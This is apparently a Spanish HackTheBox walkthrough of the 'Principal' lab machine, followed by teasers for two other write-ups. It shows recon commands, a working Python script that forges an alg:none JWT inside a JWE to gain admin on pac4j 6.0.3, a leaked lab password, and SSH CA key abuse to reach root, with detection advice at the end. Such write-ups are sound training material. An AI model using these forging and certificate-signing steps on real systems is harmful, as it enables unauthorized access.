Principal
Plataforma Java/Jetty protegida con JWE+JWT (pac4j 6.0.3). El endpoint JWKS es público, lo que permite forjar un token ROLE_ADMIN usando alg:none en el JWT interior. Desde admin se filtran credenciales SSH en texto plano. La escalada aprovecha que el grupo deployers tiene lectura sobre la clave privada de la CA SSH configurada como trusted.
View on HackTheBoxResumen
Principal es una máquina Linux de dificultad media con una plataforma web Java/Jetty protegida por JWE+JWT usando pac4j 6.0.3. La vulnerabilidad central es que el endpoint /api/auth/jwks es accesible sin autenticación y pac4j 6.0.3 no valida el algoritmo del JWT interior: basta con especificar alg:none para forjar un token de administrador sin conocer la clave privada. Con acceso admin se obtienen credenciales SSH en texto plano. La escalada a root explota que el grupo deployers tiene acceso de lectura sobre la clave privada de la CA SSH, permitiendo emitir certificados para cualquier usuario del sistema.
Reconocimiento
Detección de SO por TTL
ping -c 1 10.129.48.155
# TTL=63 → Linux (64 original, 1 salto de red)
Nmap — Escaneo completo de puertos
nmap -p- --open -sS --min-rate 5000 -Pn -n -vvv 10.129.48.155 -oG allports.txt
# Puertos abiertos: 22/tcp, 8080/tcp
Nmap — Versiones y scripts
nmap -p 22,8080 -sVC 10.129.48.155 -oN targeted.txt
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
8080/tcp open http Jetty
X-Powered-By: pac4j-jwt/6.0.3
El header X-Powered-By: pac4j-jwt/6.0.3 es la pista crítica. pac4j 6.0.3 tiene vulnerabilidades conocidas de bypass de firma JWT.
Enumeración Web
Análisis de app.js
http://10.129.48.155:8080 redirige a /login. El código fuente revela /static/js/app.js:
curl -s http://10.129.48.155:8080/static/js/app.js
El fichero expone la arquitectura de autenticación completa:
const JWKS_ENDPOINT = '/api/auth/jwks'; // Clave pública RSA — SIN autenticación
const AUTH_ENDPOINT = '/api/auth/login';
const USERS_ENDPOINT = '/api/users'; // Solo ROLE_ADMIN
const SETTINGS_ENDPOINT = '/api/settings'; // Solo ROLE_ADMIN
// Token = JWE (RSA-OAEP-256 + A128GCM)
// └── JWT interior firmado con RS256
// Claims: sub, role, iss("principal-platform"), iat, exp
Punto crítico: /api/auth/jwks descarga la clave pública RSA sin autenticación. Con ella se puede cifrar un JWE propio. Si conseguimos forjar el JWT interior (alg:none), el servidor lo aceptará.
Obtención de la clave pública JWKS
curl -s http://10.129.48.155:8080/api/auth/jwks
{
"keys": [{
"kty": "RSA",
"e": "AQAB",
"kid": "enc-key-1",
"n": "lTh54vtBS1NAWrxAFU1NEZdr..."
}]
}
Explotación — Forja de Token JWE (pac4j alg:none)
¿Por qué funciona?
pac4j 6.0.3 no valida que el JWT interior use el algoritmo declarado en el header. Poniendo alg:none, el servidor acepta el token sin verificar la firma. Tenemos la clave pública → podemos cifrar el JWE. El servidor descifra y acepta el JWT falso en su interior.
forge_token.py
pip install jwcrypto requests
python3 forge_token.py
#!/usr/bin/env python3
import json, time, base64, requests
from jwcrypto import jwk, jwe
TARGET = "http://10.129.48.155:8080"
def b64url(data):
if isinstance(data, str): data = data.encode()
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
# 1. Obtener clave pública RSA (sin autenticación)
jwks = requests.get(f"{TARGET}/api/auth/jwks").json()
key_data = jwks["keys"][0]
# 2. Forjar JWT interior con alg:none y ROLE_ADMIN
now = int(time.time())
header = {"alg": "none", "typ": "JWT"}
payload = {
"sub": "admin",
"role": "ROLE_ADMIN",
"iss": "principal-platform",
"iat": now,
"exp": now + 3600
}
inner_jwt = (f"{b64url(json.dumps(header))}"
f".{b64url(json.dumps(payload))}.") # firma vacía
# 3. Cifrar el JWT falso como JWE con la clave pública del servidor
pub_key = jwk.JWK(**key_data)
protected = {"alg": "RSA-OAEP-256", "enc": "A128GCM", "kid": key_data["kid"]}
token_obj = jwe.JWE(inner_jwt.encode(), recipient=pub_key,
protected=json.dumps(protected))
token = token_obj.serialize(compact=True)
# 4. Usar el token forjado
headers = {"Authorization": f"Bearer {token}"}
for ep in ["/api/dashboard", "/api/users", "/api/settings"]:
r = requests.get(f"{TARGET}{ep}", headers=headers)
print(f"{ep} → {r.status_code}")
if r.ok: print(json.dumps(r.json(), indent=2))
Credenciales filtradas en /api/settings
{
"security": {
"encryptionKey": "D3pl0y_$$H_Now42!"
},
"infrastructure": {
"sshCertAuth": "enabled",
"sshCaPath": "/opt/principal/ssh/"
}
}
/api/users revela además el usuario objetivo:
{
"username": "svc-deploy",
"role": "deployer",
"note": "Service account for automated deployments via SSH cert auth."
}
Acceso Inicial — SSH como svc-deploy
ssh [email protected]
# Password: D3pl0y_$$H_Now42!
id
uid=1001(svc-deploy) gid=1002(svc-deploy) groups=1002(svc-deploy),1001(deployers)
El usuario pertenece al grupo deployers. Revisar siempre los permisos del grupo antes de cualquier otra acción.
cat ~/user.txt # User flag
Escalada de Privilegios — SSH Certificate Authority
Enumeración del grupo deployers
ls -la /opt/principal/ssh/
-rw-r----- root deployers README.txt
-rw-r----- root deployers ca ← Clave PRIVADA de la CA SSH
-rw-r--r-- root root ca.pub ← Clave pública de la CA
El grupo deployers tiene lectura sobre ca (clave privada). Esta CA está declarada en /etc/ssh/sshd_config.d/60-principal.conf como TrustedUserCAKeys. Con la clave privada se pueden firmar certificados para cualquier usuario del sistema, incluido root.
Explotación — 5 pasos para root
1. Generar par de claves en el atacante:
ssh-keygen -t rsa -b 4096 -f /tmp/pwn_key -N ""
2. Subir la clave pública al servidor:
scp /tmp/pwn_key.pub [email protected]:/tmp/
3. En el servidor — firmar con la CA como principal “root”:
ssh-keygen -s /opt/principal/ssh/ca -I "root" -n root -V +1h /tmp/pwn_key.pub
# Genera: /tmp/pwn_key-cert.pub
4. Descargar el certificado firmado:
scp [email protected]:/tmp/pwn_key-cert.pub /tmp/
5. Conectar como root con el certificado:
ssh -i /tmp/pwn_key -i /tmp/pwn_key-cert.pub [email protected]
root@principal:~#
cat /root/root.txt # Root flag
Kill Chain
| # | Fase | Técnica | Resultado |
|---|---|---|---|
| 1 | Recon | nmap -p- -sS + -sVC | 22/SSH + 8080/HTTP · pac4j-jwt/6.0.3 |
| 2 | Enum web | curl app.js + JWKS | Arquitectura JWE+JWT + clave pública RSA |
| 3 | Exploit | forge_token.py (alg:none) | Token ROLE_ADMIN sin clave privada |
| 4 | Cred leak | GET /api/settings | svc-deploy : D3pl0y_$$H_Now42! |
| 5 | Foothold | SSH con password | Shell svc-deploy · grupo deployers |
| 6 | PrivEsc | ssh-keygen -s CA | Certificado root firmado por CA trusted |
| 7 | Root | ssh -i cert root@target | root@principal · ROOT FLAG |
Lecciones
| Técnica | MITRE ATT&CK |
|---|---|
| JWT Algorithm Confusion (alg:none) | T1550.001 |
| Credential Exposure in API Response | T1552.001 |
| SSH Certificate Authority Abuse | T1649 |
| Group-based Privilege Escalation | T1078.003 |
Detección: Alertar sobre cualquier JWT con "alg":"none" en los logs del WAF/proxy. Monitorizar accesos de lectura a ficheros de CA SSH fuera del proceso sshd (auditd, regla sobre /opt/*/ssh/ca). El endpoint JWKS nunca debería ser público si el backend no fuerza el algoritmo de firma.
Keep hacking.
Conversor
Web app que procesa XML+XSLT del usuario con lxml. Como lxml soporta las extensiones EXSLT, `exploit:document` permite escritura arbitraria de ficheros; combinado con un cron que ejecuta todos los .py de un directorio cada minuto se obtiene RCE como www-data. Lateral vía credenciales en SQLite (MD5 crackeado con John) y escalada a root abusando de `sudo needrestart -c` (GTFOBins, config Perl) para crear una bash SUID.
GiveBack
Cadena en cuatro capas — WordPress con GiveWP 3.14.0 vulnerable a CVE-2024-5932 (PHP Object Injection → RCE en pod WP), túnel inverso con Chisel para alcanzar un servicio legacy del clúster Kubernetes, PHP-CGI vulnerable a CVE-2024-4577 (Best-Fit %AD), extracción de secrets vía service account token, y escape final del contenedor abusando del FD leak de runc 1.1.11 (CVE-2024-21626, Leaky Vessels).